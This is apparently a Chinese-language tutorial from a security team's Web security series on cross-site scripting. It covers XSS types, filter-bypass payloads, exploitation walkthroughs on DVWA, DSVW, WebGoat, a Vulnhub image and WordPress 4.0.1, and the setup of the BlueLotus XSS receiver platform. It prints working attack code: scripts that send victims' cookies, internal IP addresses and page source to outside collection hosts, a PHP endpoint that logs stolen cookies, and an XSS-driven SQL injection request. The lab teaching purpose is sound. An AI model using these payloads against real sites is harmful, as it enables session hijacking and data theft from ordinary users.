本文由紅日安全成員: Aixic 編寫,若有不當,還望斧正。php
你們好,咱們是紅日安全-Web安全攻防小組。此項目是關於Web安全的系列文章分享,還包含一個HTB靶場供你們練習,咱們給這個項目起了一個名字叫 Web安全實戰 ,但願對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法(手工測試,工具測試)-靶場測試(分爲PHP靶場、JAVA靶場、Python靶場基本上三種靶場所有涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練),若是對你們有幫助請Star鼓勵咱們創做更好文章。若是你願意加入咱們,一塊兒完善這個項目,歡迎經過郵件形式(sec-redclub@qq.com)聯繫咱們。html
跨站腳本攻擊—XSS(Cross Site Script),是指攻擊者經過在Web頁面中寫入惡意腳本,形成用戶在瀏覽頁面時,控制用戶瀏覽器進行操做的攻擊方式。假設,在一個服務端上,有一處功能使用了這段代碼,他的功能是將用戶輸入的內容輸出到頁面上,很常見的一個功能。可是假如,這裏輸入的內容是一段通過構造的js。那麼在用戶再次訪問這個頁面時,就會獲取使用js在用戶的瀏覽器端執行一個彈窗操做。經過構造其餘相應的代碼,攻擊者能夠執行更具危害的操做。java
非持久型,常見的就是在URL中構造,將惡意連接發送給目標用戶。當用戶訪問該連接時候,會向服務器發起一個GET請求來提交帶有惡意代碼的連接。形成反彈型XSS
主要是GET類型python
持久型,常見的就是在博客留言板、反饋投訴、論壇評論、將惡意代碼和正文都存入服務器的數據庫。每次訪問都會觸發惡意代碼。
例如:<srcipt>alert(/xss/)</srcipt>
mysql
DOM型是特殊的反射型XSS
在網站頁面中有許多頁面的元素,當頁面到達瀏覽器時瀏覽器會爲頁面建立一個頂級的Document object文檔對象,接着生成各個子文檔對象,每一個頁面元素對應一個文檔對象,每一個文檔對象包含屬性、方法和事件。能夠經過JS腳本對文檔對象進行編輯從而修改頁面的元素。也就是說,客戶端的腳本程序能夠經過DOM來動態修改頁面內容,從客戶端獲取DOM中的數據並在本地執行。基於這個特性,就能夠利用JS腳原本實現XSS漏洞的利用。git
<script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);</script>
盜取管理員的cookie而後登錄後臺,獲取到後臺權限。github
能夠構成幾何的速度進行傳播xss代碼,獲取大部分人的權限。通常配合csrf使用web
<script>alert(/xss/);</script> //經典語句 <BODY ONLOAD=alert('XSS')> <img src=x onerror=alert(1)> <svg onload=alert(1)> <a href = javasript:alert(1)>
三個八進制數;若是不夠前面補0
兩個十六進制數字;若是不夠前面補0
四個十六進制數字;若是不夠前面補0
控制字符sql
以&
開始;
結束數據庫
%27
考慮HTML的渲染方式選擇合適的編碼方式進行測試
有些瀏覽器會過濾掉一些js腳本,在測試的時候須要關閉對JavaScript的檢測。
過濾輸入的數據,和非法字符‘ 「 < > on* 等」’
輸出到頁面的數據進行相應的編碼轉換包括HTML實體編碼、JavaScript編碼等
這裏咱們選取DVWA靶場進行手工測試。
DVWA是用PHP+Mysql編寫的一套用於常規WEB漏洞教學和檢測的WEB脆弱性測試程序。包含了SQL注入、XSS、盲注等常見的一些安全漏洞。
https://github.com/ethicalhack3r/DVWA/archive/master.zip
本地PHPStudy搭建DVWA靶機,放入www目錄下便可
環境使用PHP+MySQL便可。
修改config.inc.php.dist配置文件中的數據庫密碼,而且把文件後綴.dist去掉
由於是xss實驗,因此上面的紅字可無視,重置一下數據庫進入靶場
Low
Low_DOM XSS
用</option></select><img src=## onerror=alert(document.cookie)>
便可觸發XSS
Low_Reflected XSS
直接使用<script>alert(document.cookie)</script>
Medium
Medium_DOM XSS
從Medium級別就開始有加固
能夠看到它先判斷default是否爲空,若是不爲空,判斷下面判斷GET輸入進來的變量default是否存在<script
若是存在就重定向到?default=English
用以前low級別的代碼就能夠進行繞過
</option></select><img src=## onerror=alert(document.cookie)>
分析發現現實判斷是否爲空,若是不爲空再判斷其中的內容若是有<script>
就替換成空複寫就能夠繞過
<sc<script>ript>alert(document.cookie)</script>
Medium_Stored XSS
在信息框把全部的特殊字符都進行了addslashes轉義,在name那塊仍然能夠用複寫繞過、
可是name處限制了長度,改一下便可
High
High_DOM XSS
High級別的代碼的限制就比較多,可是還能利用
只能選擇case後面的參數來提交,若是不是就按照默認English
構造語句,這裏的##是URL的錨點,讓瀏覽器判斷這裏終止,主要是讓本地存儲這個xss語句,發送到服務端進行驗證的是##前面的內容,達到了繞過的目的
English##<script>alert(document.cookie)</script>
上述代碼進行了正則替換,只要包含script這些都會進行替換,不使用script便可
<img src=1 onerror=alert(document.cookie)>
Damn Small Vulnerable Web (DSVW) 是使用 Python 語言開發的 Web應用漏洞 的演練系統。其系統只有一個 python 的腳本文件組成, 當中涵蓋了 26 種 Web應用漏洞環境, 而且腳本代碼行數控制在了100行之內, 當前版本v0.1m。須要python (2.6.x 或 2.7)而且得安裝lxml庫
安裝python-lxml,再下載DSVW
apt-get install python-lxml git clone https://github.com/stamparm/DSVW.git
XSS(Reflected)
由於這個網站沒有cookie,因此直接彈射信息
代碼<script>alert(/xss aixi/)</script>
XSS(Stored)
http://10.1.1.14:65412/?comment=%3Cscript%3Ealert(/xss%20aixi/)%3C/script%3E
代碼<script>alert(/xss aixi/)</script>
直接彈射
XSS(DOM)
?##lang=<script>alert(/xss%20aixi/)</script>
直接彈射
看代碼可發現
構造語句alert(/xss/)便可不用帶script
由於要測試因此須要關閉DVWA的登錄驗證
加上$dvwaSession[ 'username' ]='admin';
在config/config.inc.php把默認難度也改爲low
下載連接
https://github.com/ym2011/penetration/tree/master/BruteXSS
測試過程當中會由於DVWA的cookie驗證嚴格出現問題,把dvwa的代碼進行本地測試利用便可
Kali自帶或下載連接
在基於Debian的系統上安裝 sudo apt-get install python-pycurl python-xmlbuilder python-beautifulsoup python-geoip 使用
利用成功
XSS平臺能夠輔助安全測試人員對XSS相關的漏洞危害進行深刻學習,瞭解XSS的危害重視XSS的危害,若是要說XSS能夠作哪些事情,XSS能夠作js可以作的全部事情。包括但不限於:竊取Cookie、後臺增刪改文章、釣魚、利用XSS漏洞進行傳播、修改網頁代碼、網站重定向、獲取用戶信息(如瀏覽器信息,IP地址等)等。
XSS平臺項目名稱:BlueLotus_XSSReceiver
做者:firesun(來自清華大學藍蓮花戰隊)
項目地址:https://github.com/firesunCN/BlueLotus_XSSReceiver
服務器操做系統:ubuntu14
web容器:Apache2
腳本語言:PHP7
安裝http server與php環境(ubuntu: sudo apt-get install apache2 php5 或 sudo apt-get install apache2 php7.0 libapache2-mod-php7.0)
文件解壓到www根目錄
而後給個權限,爲了防止出錯
權限的問題已經解決了
打開網頁訪問admin.php進行自動部署,點擊安裝
設置一下後臺登錄密碼
點擊下一步,部署成功
登錄平臺,在公共模版處使用默認js來進行
修改一下網站的地址
改爲這樣便可
點擊下面的修改便可成功應用
下面開始使用這個默認的JS腳本進行XSS,複製一下js地址https://aixic.cn/XXXSSS/template/default.js
在DVWA中插入試試
<sCRiPt sRC=https://aixic.cn/XXXSSS/template/default.js></sCrIpT>
介紹一個以前在比賽看見有個師傅玩的操做,用xss進行內網SQL注入。ps:雖然他x錯地方了並且跟注入不要緊,可是看着挺好玩的,進行了一個簡單的布爾判斷xss
xmlhttp=new XMLHttpRequest(); var d1=new Date(); t1=d1.getTime(); xmlhttp.onreadystatechange=function(){ if(xmlhttp.readyState==4 && xmlhttp.status==200){ var d2=new Date(); t2=d2.getTime(); location.href="http://123.207.99.17/id1?xssaaaa"+escape(xmlhttp.responseText)+"timeCost"+String(t2-t1); } } xmlhttp.open("POST","/Ze02pQYLf5gGNyMn/login.php",true); xmlhttp.send("username=admi/**/or/**/1&password=1");
設置一下config.php裏的與郵件相關的
如這個獲取內網IP的腳本
var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection; if (RTCPeerConnection) (function() { var rtc = new RTCPeerConnection({ iceServers:[] }); if (1 || window.mozRTCPeerConnection) { rtc.createDataChannel("", { reliable:false }); } rtc.onicecandidate = function(evt) { if (evt.candidate) grepSDP("a=" + evt.candidate.candidate); }; rtc.createOffer(function(offerDesc) { grepSDP(offerDesc.sdp); rtc.setLocalDescription(offerDesc); }, function(e) { console.warn("offer failed", e); }); var addrs = Object.create(null); addrs["0.0.0.0"] = false; function updateDisplay(newAddr) { if (newAddr in addrs) return; else addrs[newAddr] = true; var displayAddrs = Object.keys(addrs).filter(function(k) { return addrs[k]; }); new Image().src="https://xsshs.cn/xss.php?do=selfxss&act=g&id={projectId}&c=!!!cookie:"+document.cookie+"!!!ip:"+String(displayAddrs); } function grepSDP(sdp) { var hosts = []; sdp.split("\r\n").forEach(function(line) { if (~line.indexOf("a=candidate")) { var parts = line.split(" "), addr = parts[4], type = parts[7]; if (type === "host") updateDisplay(addr); } else if (~line.indexOf("c=")) { var parts = line.split(" "), addr = parts[2]; updateDisplay(addr); } }); } })();
獲取頁面源碼的腳本
var cr; if (document.charset) { cr = document.charset } else if (document.characterSet) { cr = document.characterSet }; function createXmlHttp() { if (window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest() } else { var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'); for (var n = 0; n < MSXML.length; n++) { try { xmlHttp = new ActiveXObject(MSXML[n]); break } catch (e) { } } } } createXmlHttp(); xmlHttp.onreadystatechange = writeSource; xmlHttp.open('GET', '{set.filename}', true); xmlHttp.send(null); function writeSource() { if (xmlHttp.readyState == 4) { var code = BASE64.encoder(xmlHttp.responseText); xssPost('https://xsshs.cn/xss.php?do=api&id={projectId}', code); } } function xssPost(url, postStr) { var de; de = document.body.appendChild(document.createElement('iframe')); de.src = 'about:blank'; de.height = 1; de.width = 1; de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>'); de.contentDocument.forms[0].submit(); de.style.display = 'none'; } /** *create by 2012-08-25 pm 17:48 *@author hexinglun@gmail.com *BASE64 Encode and Decode By UTF-8 unicode *能夠和java的BASE64編碼和解碼互相轉化 */ (function(){ var BASE64_MAPPING = [ 'A','B','C','D','E','F','G','H', 'I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X', 'Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n', 'o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3', '4','5','6','7','8','9','+','/' ]; /** *ascii convert to binary */ var _toBinary = function(ascii){ var binary = new Array(); while(ascii > 0){ var b = ascii%2; ascii = Math.floor(ascii/2); binary.push(b); } /* var len = binary.length; if(6-len > 0){ for(var i = 6-len ; i > 0 ; --i){ binary.push(0); } }*/ binary.reverse(); return binary; }; /** *binary convert to decimal */ var _toDecimal = function(binary){ var dec = 0; var p = 0; for(var i = binary.length-1 ; i >= 0 ; --i){ var b = binary[i]; if(b == 1){ dec += Math.pow(2 , p); } ++p; } return dec; }; /** *unicode convert to utf-8 */ var _toUTF8Binary = function(c , binaryArray){ var mustLen = (8-(c+1)) + ((c-1)*6); var fatLen = binaryArray.length; var diff = mustLen - fatLen; while(--diff >= 0){ binaryArray.unshift(0); } var binary = []; var _c = c; while(--_c >= 0){ binary.push(1); } binary.push(0); var i = 0 , len = 8 - (c+1); for(; i < len ; ++i){ binary.push(binaryArray[i]); } for(var j = 0 ; j < c-1 ; ++j){ binary.push(1); binary.push(0); var sum = 6; while(--sum >= 0){ binary.push(binaryArray[i++]); } } return binary; }; var __BASE64 = { /** *BASE64 Encode */ encoder:function(str){ var base64_Index = []; var binaryArray = []; for(var i = 0 , len = str.length ; i < len ; ++i){ var unicode = str.charCodeAt(i); var _tmpBinary = _toBinary(unicode); if(unicode < 0x80){ var _tmpdiff = 8 - _tmpBinary.length; while(--_tmpdiff >= 0){ _tmpBinary.unshift(0); } binaryArray = binaryArray.concat(_tmpBinary); }else if(unicode >= 0x80 && unicode <= 0x7FF){ binaryArray = binaryArray.concat(_toUTF8Binary(2 , _tmpBinary)); }else if(unicode >= 0x800 && unicode <= 0xFFFF){//UTF-8 3byte binaryArray = binaryArray.concat(_toUTF8Binary(3 , _tmpBinary)); }else if(unicode >= 0x10000 && unicode <= 0x1FFFFF){//UTF-8 4byte binaryArray = binaryArray.concat(_toUTF8Binary(4 , _tmpBinary)); }else if(unicode >= 0x200000 && unicode <= 0x3FFFFFF){//UTF-8 5byte binaryArray = binaryArray.concat(_toUTF8Binary(5 , _tmpBinary)); }else if(unicode >= 4000000 && unicode <= 0x7FFFFFFF){//UTF-8 6byte binaryArray = binaryArray.concat(_toUTF8Binary(6 , _tmpBinary)); } } var extra_Zero_Count = 0; for(var i = 0 , len = binaryArray.length ; i < len ; i+=6){ var diff = (i+6)-len; if(diff == 2){ extra_Zero_Count = 2; }else if(diff == 4){ extra_Zero_Count = 4; } //if(extra_Zero_Count > 0){ // len += extra_Zero_Count+1; //} var _tmpExtra_Zero_Count = extra_Zero_Count; while(--_tmpExtra_Zero_Count >= 0){ binaryArray.push(0); } base64_Index.push(_toDecimal(binaryArray.slice(i , i+6))); } var base64 = ''; for(var i = 0 , len = base64_Index.length ; i < len ; ++i){ base64 += BASE64_MAPPING[base64_Index[i]]; } for(var i = 0 , len = extra_Zero_Count/2 ; i < len ; ++i){ base64 += '='; } return base64; }, /** *BASE64 Decode for UTF-8 */ decoder : function(_base64Str){ var _len = _base64Str.length; var extra_Zero_Count = 0; /** *計算在進行BASE64編碼的時候,補了幾個0 */ if(_base64Str.charAt(_len-1) == '='){ //alert(_base64Str.charAt(_len-1)); //alert(_base64Str.charAt(_len-2)); if(_base64Str.charAt(_len-2) == '='){//兩個等號說明補了4個0 extra_Zero_Count = 4; _base64Str = _base64Str.substring(0 , _len-2); }else{//一個等號說明補了2個0 extra_Zero_Count = 2; _base64Str = _base64Str.substring(0 , _len - 1); } } var binaryArray = []; for(var i = 0 , len = _base64Str.length; i < len ; ++i){ var c = _base64Str.charAt(i); for(var j = 0 , size = BASE64_MAPPING.length ; j < size ; ++j){ if(c == BASE64_MAPPING[j]){ var _tmp = _toBinary(j); /*不足6位的補0*/ var _tmpLen = _tmp.length; if(6-_tmpLen > 0){ for(var k = 6-_tmpLen ; k > 0 ; --k){ _tmp.unshift(0); } } binaryArray = binaryArray.concat(_tmp); break; } } } if(extra_Zero_Count > 0){ binaryArray = binaryArray.slice(0 , binaryArray.length - extra_Zero_Count); } var unicode = []; var unicodeBinary = []; for(var i = 0 , len = binaryArray.length ; i < len ; ){ if(binaryArray[i] == 0){ unicode=unicode.concat(_toDecimal(binaryArray.slice(i,i+8))); i += 8; }else{ var sum = 0; while(i < len){ if(binaryArray[i] == 1){ ++sum; }else{ break; } ++i; } unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+1 , i+8-sum)); i += 8 - sum; while(sum > 1){ unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+2 , i+8)); i += 8; --sum; } unicode = unicode.concat(_toDecimal(unicodeBinary)); unicodeBinary = []; } } return unicode; } }; window.BASE64 = __BASE64; })();
JS腳本
var img = document.createElement("img"); img.src = "http://xxx/x.php?cookie="+document.cookie; document.body.appendChild(img);
接收端
<?php $victim = 'XXS獲得的 cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie']."\r\n\r\n"; echo htmlspecialchars($_GET['cookie']); $myfile = fopen("/aixi/XSS/xss_victim.txt", "a"); fwrite($myfile, $victim); ?>
WebGoat是OWASP組織研製出的用於進行web漏洞實驗的Java靶場程序,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操做隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML註釋等等。
https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webgoat-server-8.0.0.M25.jar https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webwolf-8.0.0.M25.jar
默認是127.0.0.1 ,只能本機訪問,須要更改
java -jar webgoat-server-8.0.0.M25.jar --server.address=0.0.0.0
需更新到最新的java版本
https://www.oracle.com/technetwork/java/javase/downloads/jdk12-downloads-5295953.html
安裝java步驟省略,安裝好了開始運行
訪問http://192.168.123.25:8080/WebGoat
攻擊語句<script>alert(document.cookie)</script>
去找js腳本看裏面的內容。
輸入
start.mvc#test/
結合上一個題的東西路徑+基本參數構成
攻擊語句start.mvc##test/<script>alert(document.cookie)
,通過測試發現若是輸入<script>
他會本身補全,因此就不用輸入</script>
攻擊代碼<script>alert(document.cookie)</script>
,直接留言板插入便可沒有過濾
Vulnhub是一個提供各類漏洞環境的靶場平臺,供安全愛好者學習滲透使用,大部分環境是作好的虛擬機鏡像文件,鏡像預先設計了多種漏洞,須要使用VMware或者VirtualBox運行。每一個鏡像會有破解的目標。
這裏下載關於xss的(下載32位的,之後能夠用來作溢出攻擊)
https://download.vulnhub.com/pentesterlab/xss_and_mysql_file_i386.iso
打開VMware經典模式掛上鏡像一直下一步,選擇橋接模式就能自動分配一個IP地址
本練習說明如何使用跨站點腳本漏洞來訪問管理員的cookie。而後,您將如何使用他/她的會話來訪問管理以查找SQL注入並使用它來獲取代碼執行。這個靶場主要是作一個xss反射
用戶名admin 密碼P4ssw0rd
直接點留言
成功,由於是真實環境,咱們這裏直接用xss平臺搞
管理員查看留言板觸發xss
便可成功冒充用戶登陸
對輸入處進行實例化,是最有效最簡單的方法,若是是替換代碼,量就比較大
實例化classes/post.php
<?php class Post{ public $id, $title, $text, $published; function __construct($id, $title, $text, $published){ $this->title= $title; $this->text = $text; $this->published= $published; $this->id = $id; } function all($cat=NULL,$order =NULL) { $sql = "SELECT * FROM posts"; if (isset($order)) $sql .= "order by ".mysql_real_escape_string($order); $results= mysql_query($sql); $posts = Array(); if ($results) { while ($row = mysql_fetch_assoc($results)) { $posts[] = new Post($row['id'],$row['title'],$row['text'],$row['published']); } } else { echo mysql_error(); } return $posts; } function render_all($pics) { echo "<ul>\n"; foreach ($pics as $pic) { echo "\t<li>".$pic->render()."</a></li>\n"; } echo "</ul>\n"; } function render_edit() { $str = "<img src=\"uploads/".h($this->img)."\" alt=\"".h($this->title)."\" />"; return $str; } function render() { $str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>"; $str.= '<div class="inner" align="center">'; $str.= "<p>".htmlentities($this->text)."</p></div>"; $str.= "<p><a href=\"/post.php?id=".h($this->id)."\">"; $count = $this->get_comments_count(); switch ($count) { case 0: $str.= "Be the first to comment"; break; case 1: $str.= "1 comment"; break; case 2: $str.= $count." comments"; break; } $str.= "</a></p>"; return $str; } function add_comment() { $sql = "INSERT INTO comments (title,author, text, post_id) values ('"; $sql .= mysql_real_escape_string(htmlspecialchars($_POST["title"]))."','"; $sql .= mysql_real_escape_string(htmlspecialchars($_POST["author"]))."','"; $sql .= mysql_real_escape_string(htmlspecialchars($_POST["text"]))."',"; $sql .= intval($this->id).")"; $result = mysql_query($sql); echo mysql_error(); } function render_with_comments() { $str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>"; $str.= '<div class="inner" style="padding-left: 40px;">'; $str.= "<p>".htmlentities($this->text)."</p></div>"; $str.= "\n\n<div class='comments'><h3>Comments: </h3>\n<ul>"; foreach ($this->get_comments() as $comment) { $str.= "\n\t<li>".$comment->text."</li>"; } $str.= "\n</ul></div>"; return $str; } function get_comments_count() { if (!preg_match('/^[0-9]+$/', $this->id)) { die("ERROR: INTEGER REQUIRED"); } $comments = Array(); $result = mysql_query("SELECT count(*) as count FROM comments where post_id=".$this->id); $row = mysql_fetch_assoc($result); return $row['count']; } function get_comments() { if (!preg_match('/^[0-9]+$/', $this->id)) { die("ERROR: INTEGER REQUIRED"); } $comments = Array(); $results = mysql_query("SELECT * FROM comments where post_id=".$this->id); if (isset($results)){ while ($row = mysql_fetch_assoc($results)) { $comments[] = Comment::from_row($row); } } return $comments; } function find($id) { $result = mysql_query("SELECT * FROM posts where id=".$id); $row = mysql_fetch_assoc($result); if (isset($row)){ $post = new Post($row['id'],$row['title'],$row['text'],$row['published']); } return $post; } function delete($id) { if (!preg_match('/^[0-9]+$/', $id)) { die("ERROR: INTEGER REQUIRED"); } $result = mysql_query("DELETE FROM posts where id=".(int)$id); } function update($title, $text) { $sql = "UPDATE posts SET title='"; $sql .= mysql_real_escape_string(htmlspecialchars($_POST["title"]))."',text='"; $sql .= mysql_real_escape_string(htmlspecialchars( $_POST["text"]))."' WHERE id="; $sql .= intval($this->id); $result = mysql_query($sql); $this->title = $title; $this->text = $text; } function create(){ $sql = "INSERT INTO posts (title, text) VALUES ('"; $title = mysql_real_escape_string(htmlspecialchars( $_POST["title"])); $text = mysql_real_escape_string(htmlspecialchars( $_POST["text"])); $sql .= $title."','".$text; $sql.= "')"; $result = mysql_query($sql); } } ?>
WordPress於2003年開始使用一段代碼來加強平常寫做的印刷效果,用戶數量少於您能夠依靠手指和腳趾的數量。自那時起,它已成長爲世界上最大的自主託管博客工具,在數百萬個網站上使用,天天都有數千萬人看到。
下載4.1版本如下
https://cn.wordpress.org/wordpress-4.0.1-zh_CN.zip
使用phpstudy搭建WordPress
放到跟目錄直接一把梭
先建立一個數據庫create database wordpress;
進行安裝
安裝成功
漏洞出如今wordpress的留言處,不過問題是由mysql的一個特性引發的。在mysql的utf8字符集中,一個字符由1~3個字節組成,對於大於3個字節的字符,mysql使用了utf8mb4的形式來存儲。若是咱們將一個utf8mb4字符插入到utf8編碼的列中,那麼在mysql的非strict mode下,他的作法是將後面的內容截斷。截斷的話,就能繞過不少富文本過濾器了。好比,插入兩個評論<img src=1
,和onerror=alert(1)//
,這兩者都不會觸發某些富文本過濾器(由於前者並不含有白名單外的屬性,後者並非一個標籤),但兩個評論若是存在於同一個頁面,就會拼接成一個完整的HTML標籤,觸發onerror事件。
先把Mysql的strict mode關閉
my.ini
將其中的 sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION" 修改成 sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
攻擊代碼//P神博客的
```
<abbr title="qweqw style=display:block;position:fixed;width:100%;height:100%;top:0; onmouseover=alert(1)//